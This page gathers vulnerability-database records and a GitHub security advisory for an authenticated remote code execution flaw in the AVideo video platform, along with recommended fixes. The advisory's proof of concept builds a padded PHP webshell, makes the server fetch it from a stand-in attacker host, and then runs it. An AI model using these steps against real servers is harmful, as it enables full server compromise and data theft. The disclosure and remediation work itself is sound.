Vulnerability-Lookup

CVE-2026-33717 (GCVE-0-2026-33717)

Vulnerability from cvelistv5 – Published: 2026-03-23 18:48 – Updated: 2026-03-24 16:10

Title

AVideo Vulnerable to Remote Code Execution via Persistent PHP Temp File in Encoder downloadURL with Resolution Validation Abort

Summary

WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `downloadVideoFromDownloadURL()` function in `objects/aVideoEncoder.json.php` saves remote content to a web-accessible temporary directory using the original URL's filename and extension (including `.php`). By providing an invalid `resolution` parameter, an attacker triggers an early `die()` via `forbiddenPage()` before the temp file can be moved or cleaned up, leaving an executable PHP file persistently accessible under the web root at `videos/cache/tmpFile/`. Commit 6da79b43484099a0b660d1544a63c07b633ed3a2 contains a patch.

Severity

8.8 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-03-24 16:08 UTC

CWE

CWE-434 - Unrestricted Upload of File with Dangerous Type

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7895 records in the last 180 days details

References

2 references

URL	Tags
https://github.com/WWBN/AVideo/security/advisorie…	x_refsource_CONFIRM
https://github.com/WWBN/AVideo/commit/6da79b43484…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
WWBN	AVideo	Affected: <= 26.0	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-33717",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-03-24T16:08:37.149152Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-03-24T16:10:19.803Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "AVideo",
          "vendor": "WWBN",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c= 26.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `downloadVideoFromDownloadURL()` function in `objects/aVideoEncoder.json.php` saves remote content to a web-accessible temporary directory using the original URL\u0027s filename and extension (including `.php`). By providing an invalid `resolution` parameter, an attacker triggers an early `die()` via `forbiddenPage()` before the temp file can be moved or cleaned up, leaving an executable PHP file persistently accessible under the web root at `videos/cache/tmpFile/`. Commit 6da79b43484099a0b660d1544a63c07b633ed3a2 contains a patch."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 8.8,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-434",
              "description": "CWE-434: Unrestricted Upload of File with Dangerous Type",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-03-23T18:48:24.934Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/WWBN/AVideo/security/advisories/GHSA-8wf4-c4x3-h952",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-8wf4-c4x3-h952"
        },
        {
          "name": "https://github.com/WWBN/AVideo/commit/6da79b43484099a0b660d1544a63c07b633ed3a2",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/WWBN/AVideo/commit/6da79b43484099a0b660d1544a63c07b633ed3a2"
        }
      ],
      "source": {
        "advisory": "GHSA-8wf4-c4x3-h952",
        "discovery": "UNKNOWN"
      },
      "title": "AVideo Vulnerable to Remote Code Execution via Persistent PHP Temp File in Encoder downloadURL with Resolution Validation Abort"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-33717",
    "datePublished": "2026-03-23T18:48:24.934Z",
    "dateReserved": "2026-03-23T17:06:05.748Z",
    "dateUpdated": "2026-03-24T16:10:19.803Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-33717",
      "date": "2026-11-09",
      "epss": "0.00411",
      "percentile": "0.35685"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "AVideo",
                "vendor": "WWBN",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003c= 26.0"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "configurations": [
          {
            "nodes": [
              {
                "cpeMatch": [
                  {
                    "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*",
                    "matchCriteriaId": "774C24F1-9D26-484F-B931-1DA107C8F588",
                    "versionEndIncluding": "26.0",
                    "vulnerable": true
                  }
                ],
                "negate": false,
                "operator": "OR"
              }
            ]
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `downloadVideoFromDownloadURL()` function in `objects/aVideoEncoder.json.php` saves remote content to a web-accessible temporary directory using the original URL\u0027s filename and extension (including `.php`). By providing an invalid `resolution` parameter, an attacker triggers an early `die()` via `forbiddenPage()` before the temp file can be moved or cleaned up, leaving an executable PHP file persistently accessible under the web root at `videos/cache/tmpFile/`. Commit 6da79b43484099a0b660d1544a63c07b633ed3a2 contains a patch."
          },
          {
            "lang": "es",
            "value": "WWBN AVideo es una plataforma de video de c\u00f3digo abierto. En versiones hasta la 26.0 inclusive, la funci\u00f3n `downloadVideoFromDownloadURL()` en `objects/aVideoEncoder.json.php` guarda contenido remoto en un directorio temporal accesible por web usando el nombre de archivo y la extensi\u00f3n de la URL original (incluyendo \u0027.php\u0027). Al proporcionar un par\u00e1metro `resolution` inv\u00e1lido, un atacante desencadena un `die()` temprano a trav\u00e9s de `forbiddenPage()` antes de que el archivo temporal pueda ser movido o limpiado, dejando un archivo PHP ejecutable persistentemente accesible bajo la ra\u00edz web en `videos/cache/tmpFile/`. El commit 6da79b43484099a0b660d1544a63c07b633ed3a2 contiene un parche."
          }
        ],
        "id": "CVE-2026-33717",
        "lastModified": "2026-06-17T10:37:58.760",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "HIGH",
                "baseScore": 8.8,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "HIGH",
                "privilegesRequired": "LOW",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
                "version": "3.1"
              },
              "exploitabilityScore": 2.8,
              "impactScore": 5.9,
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-33717",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "no"
                  },
                  {
                    "technicalImpact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-03-24T16:08:37.149152Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-03-23T19:16:42.497",
        "references": [
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Patch"
            ],
            "url": "https://github.com/WWBN/AVideo/commit/6da79b43484099a0b660d1544a63c07b633ed3a2"
          },
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Exploit",
              "Vendor Advisory"
            ],
            "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-8wf4-c4x3-h952"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Analyzed",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-434"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          }
        ]
      }
    },
    "redhat_vex": {
      "current_release_date": "2026-03-27T07:37:17+00:00",
      "cve": "CVE-2026-33717",
      "id": "CVE-2026-33717",
      "initial_release_date": "2026-01-01T00:00:00+00:00",
      "product_status:known_not_affected": "1",
      "source": "Red Hat CSAF VEX",
      "status": "final",
      "title": "AVideo Vulnerable to Remote Code Execution via Persistent PHP Temp File in Encoder downloadURL with Resolution Validation Abort",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-33717.json",
      "version": "3"
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-33717",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "total"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-03-24T16:08:37.149152Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-03-24T16:10:07.986Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "AVideo",
              "vendor": "WWBN",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003c= 26.0"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `downloadVideoFromDownloadURL()` function in `objects/aVideoEncoder.json.php` saves remote content to a web-accessible temporary directory using the original URL\u0027s filename and extension (including `.php`). By providing an invalid `resolution` parameter, an attacker triggers an early `die()` via `forbiddenPage()` before the temp file can be moved or cleaned up, leaving an executable PHP file persistently accessible under the web root at `videos/cache/tmpFile/`. Commit 6da79b43484099a0b660d1544a63c07b633ed3a2 contains a patch."
            }
          ],
          "metrics": [
            {
              "cvssV3_1": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "HIGH",
                "baseScore": 8.8,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "HIGH",
                "privilegesRequired": "LOW",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
                "version": "3.1"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-434",
                  "description": "CWE-434: Unrestricted Upload of File with Dangerous Type",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-03-23T18:48:24.934Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/WWBN/AVideo/security/advisories/GHSA-8wf4-c4x3-h952",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-8wf4-c4x3-h952"
            },
            {
              "name": "https://github.com/WWBN/AVideo/commit/6da79b43484099a0b660d1544a63c07b633ed3a2",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/WWBN/AVideo/commit/6da79b43484099a0b660d1544a63c07b633ed3a2"
            }
          ],
          "source": {
            "advisory": "GHSA-8wf4-c4x3-h952",
            "discovery": "UNKNOWN"
          },
          "title": "AVideo Vulnerable to Remote Code Execution via Persistent PHP Temp File in Encoder downloadURL with Resolution Validation Abort"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-33717",
        "datePublished": "2026-03-23T18:48:24.934Z",
        "dateReserved": "2026-03-23T17:06:05.748Z",
        "dateUpdated": "2026-03-24T16:10:19.803Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-33717

Vulnerability from fkie_nvd - Published: 2026-03-23 19:16 - Updated: 2026-06-17 10:37

Severity

8.8 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/WWBN/AVideo/commit/6da79b43484099a0b660d1544a63c07b633ed3a2	Patch
	security-advisories@github.com	https://github.com/WWBN/AVideo/security/advisories/GHSA-8wf4-c4x3-h952	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	wwbn	avideo	*

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "AVideo",
          "vendor": "WWBN",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c= 26.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "774C24F1-9D26-484F-B931-1DA107C8F588",
              "versionEndIncluding": "26.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `downloadVideoFromDownloadURL()` function in `objects/aVideoEncoder.json.php` saves remote content to a web-accessible temporary directory using the original URL\u0027s filename and extension (including `.php`). By providing an invalid `resolution` parameter, an attacker triggers an early `die()` via `forbiddenPage()` before the temp file can be moved or cleaned up, leaving an executable PHP file persistently accessible under the web root at `videos/cache/tmpFile/`. Commit 6da79b43484099a0b660d1544a63c07b633ed3a2 contains a patch."
    },
    {
      "lang": "es",
      "value": "WWBN AVideo es una plataforma de video de c\u00f3digo abierto. En versiones hasta la 26.0 inclusive, la funci\u00f3n `downloadVideoFromDownloadURL()` en `objects/aVideoEncoder.json.php` guarda contenido remoto en un directorio temporal accesible por web usando el nombre de archivo y la extensi\u00f3n de la URL original (incluyendo \u0027.php\u0027). Al proporcionar un par\u00e1metro `resolution` inv\u00e1lido, un atacante desencadena un `die()` temprano a trav\u00e9s de `forbiddenPage()` antes de que el archivo temporal pueda ser movido o limpiado, dejando un archivo PHP ejecutable persistentemente accesible bajo la ra\u00edz web en `videos/cache/tmpFile/`. El commit 6da79b43484099a0b660d1544a63c07b633ed3a2 contiene un parche."
    }
  ],
  "id": "CVE-2026-33717",
  "lastModified": "2026-06-17T10:37:58.760",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-33717",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-03-24T16:08:37.149152Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-03-23T19:16:42.497",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/WWBN/AVideo/commit/6da79b43484099a0b660d1544a63c07b633ed3a2"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-8wf4-c4x3-h952"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-434"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-8WF4-C4X3-H952

Vulnerability from github – Published: 2026-03-25 21:28 – Updated: 2026-03-25 21:28

Summary

AVideo: Remote Code Execution via PHP Temp File in Encoder downloadURL

Details

Summary

The downloadVideoFromDownloadURL() function in objects/aVideoEncoder.json.php saves remote content to a web-accessible temporary directory using the original URL's filename and extension (including .php). By providing an invalid resolution parameter, an attacker triggers an early die() via forbiddenPage() before the temp file can be moved or cleaned up, leaving an executable PHP file persistently accessible under the web root at videos/cache/tmpFile/.

Details

The vulnerability is a race-free file upload leading to RCE, exploiting a logic flaw in the error handling order of operations.

Step 1 — File download preserves dangerous extension:

In objects/aVideoEncoder.json.php, when a downloadURL parameter is provided, the file is downloaded and saved with the URL's original basename:

// objects/aVideoEncoder.json.php:361-365
$_FILES['video']['name'] = basename($downloadURL);  // preserves .php extension
$temp = Video::getStoragePath() . "cache/tmpFile/" . $_FILES['video']['name'];
make_path($temp);
$bytesSaved = file_put_contents($temp, $file);

The format parameter (validated against $global['allowedExtension'] at line 42) is only used later for the final destination filename (line 238), not for the temp file. The temp file uses basename($downloadURL) directly, allowing any extension including .php.

Step 2 — Resolution validation aborts after file write:

After the file is downloaded and written to disk (line 156), the resolution is validated:

// objects/aVideoEncoder.json.php:229-233
if (!in_array($_REQUEST['resolution'], $global['avideo_possible_resolutions'])) {
    $msg = "This resolution is not possible {$_REQUEST['resolution']}";
    _error_log($msg);
    forbiddenPage($msg);  // calls die() — execution stops here
}

The forbiddenPage() function (in objects/functionsSecurity.php:567-573) detects the JSON content type set at line 26 and calls die():

if (empty($unlockPassword) && isContentTypeJson()) {
    // ...
    die(json_encode($obj));  // line 573 — execution terminates
}

Step 3 — Cleanup never reached:

The decideMoveUploadedToVideos() call at line 243, which would move the temp file to its final destination with the safe format extension, is never reached because forbiddenPage() terminates execution first.

Step 4 — No execution restrictions on temp directory:

The videos/cache/tmpFile/ directory has no .htaccess file restricting PHP execution. The root .htaccess FilesMatch on line 73 blocks extensions matching php[a-z0-9]+ (e.g., .php5, .phtml) but does not match plain .php.

PoC

Prerequisites: An authenticated user account with canUpload permission. An attacker-controlled server hosting a PHP payload file at least 20KB in size.

Step 1 — Prepare the PHP payload (on attacker server):

# Create a PHP webshell padded to >=20KB to pass the minimum size check
python3 -c "
payload = b'<?php echo \"RCE:\".php_uname(); ?>'
padding = b'\n' + b'/' * (20001 - len(payload))
open('shell.php', 'wb').write(payload + padding)
"
# Host it on an attacker-controlled server (e.g., https://attacker.example.com/shell.php)

Step 2 — Trigger the download with invalid resolution:

curl -X POST 'https://target.example.com/objects/aVideoEncoder.json.php' \
  -d 'user=uploader_username' \
  -d 'pass=uploader_password' \
  -d 'format=mp4' \
  -d 'downloadURL=https://attacker.example.com/shell.php' \
  -d 'resolution=9999'

Expected response: {"error":true,"msg":"This resolution is not possible 9999","forbiddenPage":true}

Step 3 — Access the persisted PHP file:

curl 'https://target.example.com/videos/cache/tmpFile/shell.php'

Expected output: RCE:Linux target 5.15.0-... — confirming arbitrary PHP code execution on the server.

Impact

An authenticated user with standard upload permissions can achieve Remote Code Execution on the server. This allows:

Full server compromise — read/write arbitrary files, execute system commands
Access to database credentials and all stored user data
Lateral movement to other services on the same network
Modification or destruction of all video content and platform configuration
Use of the server as a pivot point for further attacks

The attack requires only a single HTTP request (plus hosting a payload file) and leaves no trace in the application's normal upload/video processing logs beyond the download attempt.

Recommended Fix

Fix 1 (Primary) — Validate file extension in downloadVideoFromDownloadURL():

// objects/aVideoEncoder.json.php — in downloadVideoFromDownloadURL(), after line 360
function downloadVideoFromDownloadURL($downloadURL)
{
    global $global, $obj;
    $downloadURL = trim($downloadURL);

    // ... existing SSRF check ...

    // NEW: Validate the file extension against allowed extensions
    $urlExtension = strtolower(pathinfo(parse_url($downloadURL, PHP_URL_PATH), PATHINFO_EXTENSION));
    if (!in_array($urlExtension, $global['allowedExtension'])) {
        __errlog("aVideoEncoder.json:downloadVideoFromDownloadURL blocked dangerous extension: " . $urlExtension);
        return false;
    }

    // ... rest of function ...
}

Fix 2 (Defense in depth) — Move resolution validation before file download:

// objects/aVideoEncoder.json.php — move lines 227-236 to BEFORE line 154
// Validate resolution BEFORE downloading anything
if (!empty($_REQUEST['resolution'])) {
    if (!in_array($_REQUEST['resolution'], $global['avideo_possible_resolutions'])) {
        $msg = "This resolution is not possible {$_REQUEST['resolution']}";
        _error_log($msg);
        forbiddenPage($msg);
    }
}
// Then proceed with download...

Fix 3 (Defense in depth) — Add .htaccess to temp directory:

Create videos/cache/tmpFile/.htaccess:

# Deny execution of all scripts in temp directory
<FilesMatch "\.(?i:php|phtml|phar|php[0-9]|shtml)$">
    Require all denied
</FilesMatch>
php_flag engine off

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33717"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-434"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-25T21:28:38Z",
    "nvd_published_at": "2026-03-23T19:16:42Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `downloadVideoFromDownloadURL()` function in `objects/aVideoEncoder.json.php` saves remote content to a web-accessible temporary directory using the original URL\u0027s filename and extension (including `.php`). By providing an invalid `resolution` parameter, an attacker triggers an early `die()` via `forbiddenPage()` before the temp file can be moved or cleaned up, leaving an executable PHP file persistently accessible under the web root at `videos/cache/tmpFile/`.\n\n## Details\n\nThe vulnerability is a race-free file upload leading to RCE, exploiting a logic flaw in the error handling order of operations.\n\n**Step 1 \u2014 File download preserves dangerous extension:**\n\nIn `objects/aVideoEncoder.json.php`, when a `downloadURL` parameter is provided, the file is downloaded and saved with the URL\u0027s original basename:\n\n```php\n// objects/aVideoEncoder.json.php:361-365\n$_FILES[\u0027video\u0027][\u0027name\u0027] = basename($downloadURL);  // preserves .php extension\n$temp = Video::getStoragePath() . \"cache/tmpFile/\" . $_FILES[\u0027video\u0027][\u0027name\u0027];\nmake_path($temp);\n$bytesSaved = file_put_contents($temp, $file);\n```\n\nThe `format` parameter (validated against `$global[\u0027allowedExtension\u0027]` at line 42) is only used later for the *final* destination filename (line 238), not for the temp file. The temp file uses `basename($downloadURL)` directly, allowing any extension including `.php`.\n\n**Step 2 \u2014 Resolution validation aborts after file write:**\n\nAfter the file is downloaded and written to disk (line 156), the resolution is validated:\n\n```php\n// objects/aVideoEncoder.json.php:229-233\nif (!in_array($_REQUEST[\u0027resolution\u0027], $global[\u0027avideo_possible_resolutions\u0027])) {\n    $msg = \"This resolution is not possible {$_REQUEST[\u0027resolution\u0027]}\";\n    _error_log($msg);\n    forbiddenPage($msg);  // calls die() \u2014 execution stops here\n}\n```\n\nThe `forbiddenPage()` function (in `objects/functionsSecurity.php:567-573`) detects the JSON content type set at line 26 and calls `die()`:\n\n```php\nif (empty($unlockPassword) \u0026\u0026 isContentTypeJson()) {\n    // ...\n    die(json_encode($obj));  // line 573 \u2014 execution terminates\n}\n```\n\n**Step 3 \u2014 Cleanup never reached:**\n\nThe `decideMoveUploadedToVideos()` call at line 243, which would move the temp file to its final destination with the safe `format` extension, is never reached because `forbiddenPage()` terminates execution first.\n\n**Step 4 \u2014 No execution restrictions on temp directory:**\n\nThe `videos/cache/tmpFile/` directory has no `.htaccess` file restricting PHP execution. The root `.htaccess` `FilesMatch` on line 73 blocks extensions matching `php[a-z0-9]+` (e.g., `.php5`, `.phtml`) but does **not** match plain `.php`.\n\n## PoC\n\n**Prerequisites:** An authenticated user account with `canUpload` permission. An attacker-controlled server hosting a PHP payload file at least 20KB in size.\n\n**Step 1 \u2014 Prepare the PHP payload (on attacker server):**\n\n```bash\n# Create a PHP webshell padded to \u003e=20KB to pass the minimum size check\npython3 -c \"\npayload = b\u0027\u003c?php echo \\\"RCE:\\\".php_uname(); ?\u003e\u0027\npadding = b\u0027\\n\u0027 + b\u0027/\u0027 * (20001 - len(payload))\nopen(\u0027shell.php\u0027, \u0027wb\u0027).write(payload + padding)\n\"\n# Host it on an attacker-controlled server (e.g., https://attacker.example.com/shell.php)\n```\n\n**Step 2 \u2014 Trigger the download with invalid resolution:**\n\n```bash\ncurl -X POST \u0027https://target.example.com/objects/aVideoEncoder.json.php\u0027 \\\n  -d \u0027user=uploader_username\u0027 \\\n  -d \u0027pass=uploader_password\u0027 \\\n  -d \u0027format=mp4\u0027 \\\n  -d \u0027downloadURL=https://attacker.example.com/shell.php\u0027 \\\n  -d \u0027resolution=9999\u0027\n```\n\nExpected response: `{\"error\":true,\"msg\":\"This resolution is not possible 9999\",\"forbiddenPage\":true}`\n\n**Step 3 \u2014 Access the persisted PHP file:**\n\n```bash\ncurl \u0027https://target.example.com/videos/cache/tmpFile/shell.php\u0027\n```\n\nExpected output: `RCE:Linux target 5.15.0-...` \u2014 confirming arbitrary PHP code execution on the server.\n\n## Impact\n\nAn authenticated user with standard upload permissions can achieve **Remote Code Execution** on the server. This allows:\n\n- Full server compromise \u2014 read/write arbitrary files, execute system commands\n- Access to database credentials and all stored user data\n- Lateral movement to other services on the same network\n- Modification or destruction of all video content and platform configuration\n- Use of the server as a pivot point for further attacks\n\nThe attack requires only a single HTTP request (plus hosting a payload file) and leaves no trace in the application\u0027s normal upload/video processing logs beyond the download attempt.\n\n## Recommended Fix\n\n**Fix 1 (Primary) \u2014 Validate file extension in `downloadVideoFromDownloadURL()`:**\n\n```php\n// objects/aVideoEncoder.json.php \u2014 in downloadVideoFromDownloadURL(), after line 360\nfunction downloadVideoFromDownloadURL($downloadURL)\n{\n    global $global, $obj;\n    $downloadURL = trim($downloadURL);\n\n    // ... existing SSRF check ...\n\n    // NEW: Validate the file extension against allowed extensions\n    $urlExtension = strtolower(pathinfo(parse_url($downloadURL, PHP_URL_PATH), PATHINFO_EXTENSION));\n    if (!in_array($urlExtension, $global[\u0027allowedExtension\u0027])) {\n        __errlog(\"aVideoEncoder.json:downloadVideoFromDownloadURL blocked dangerous extension: \" . $urlExtension);\n        return false;\n    }\n\n    // ... rest of function ...\n}\n```\n\n**Fix 2 (Defense in depth) \u2014 Move resolution validation before file download:**\n\n```php\n// objects/aVideoEncoder.json.php \u2014 move lines 227-236 to BEFORE line 154\n// Validate resolution BEFORE downloading anything\nif (!empty($_REQUEST[\u0027resolution\u0027])) {\n    if (!in_array($_REQUEST[\u0027resolution\u0027], $global[\u0027avideo_possible_resolutions\u0027])) {\n        $msg = \"This resolution is not possible {$_REQUEST[\u0027resolution\u0027]}\";\n        _error_log($msg);\n        forbiddenPage($msg);\n    }\n}\n// Then proceed with download...\n```\n\n**Fix 3 (Defense in depth) \u2014 Add `.htaccess` to temp directory:**\n\nCreate `videos/cache/tmpFile/.htaccess`:\n```apache\n# Deny execution of all scripts in temp directory\n\u003cFilesMatch \"\\.(?i:php|phtml|phar|php[0-9]|shtml)$\"\u003e\n    Require all denied\n\u003c/FilesMatch\u003e\nphp_flag engine off\n```",
  "id": "GHSA-8wf4-c4x3-h952",
  "modified": "2026-03-25T21:28:38Z",
  "published": "2026-03-25T21:28:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-8wf4-c4x3-h952"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33717"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/6da79b43484099a0b660d1544a63c07b633ed3a2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo: Remote Code Execution via PHP Temp File in Encoder downloadURL"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

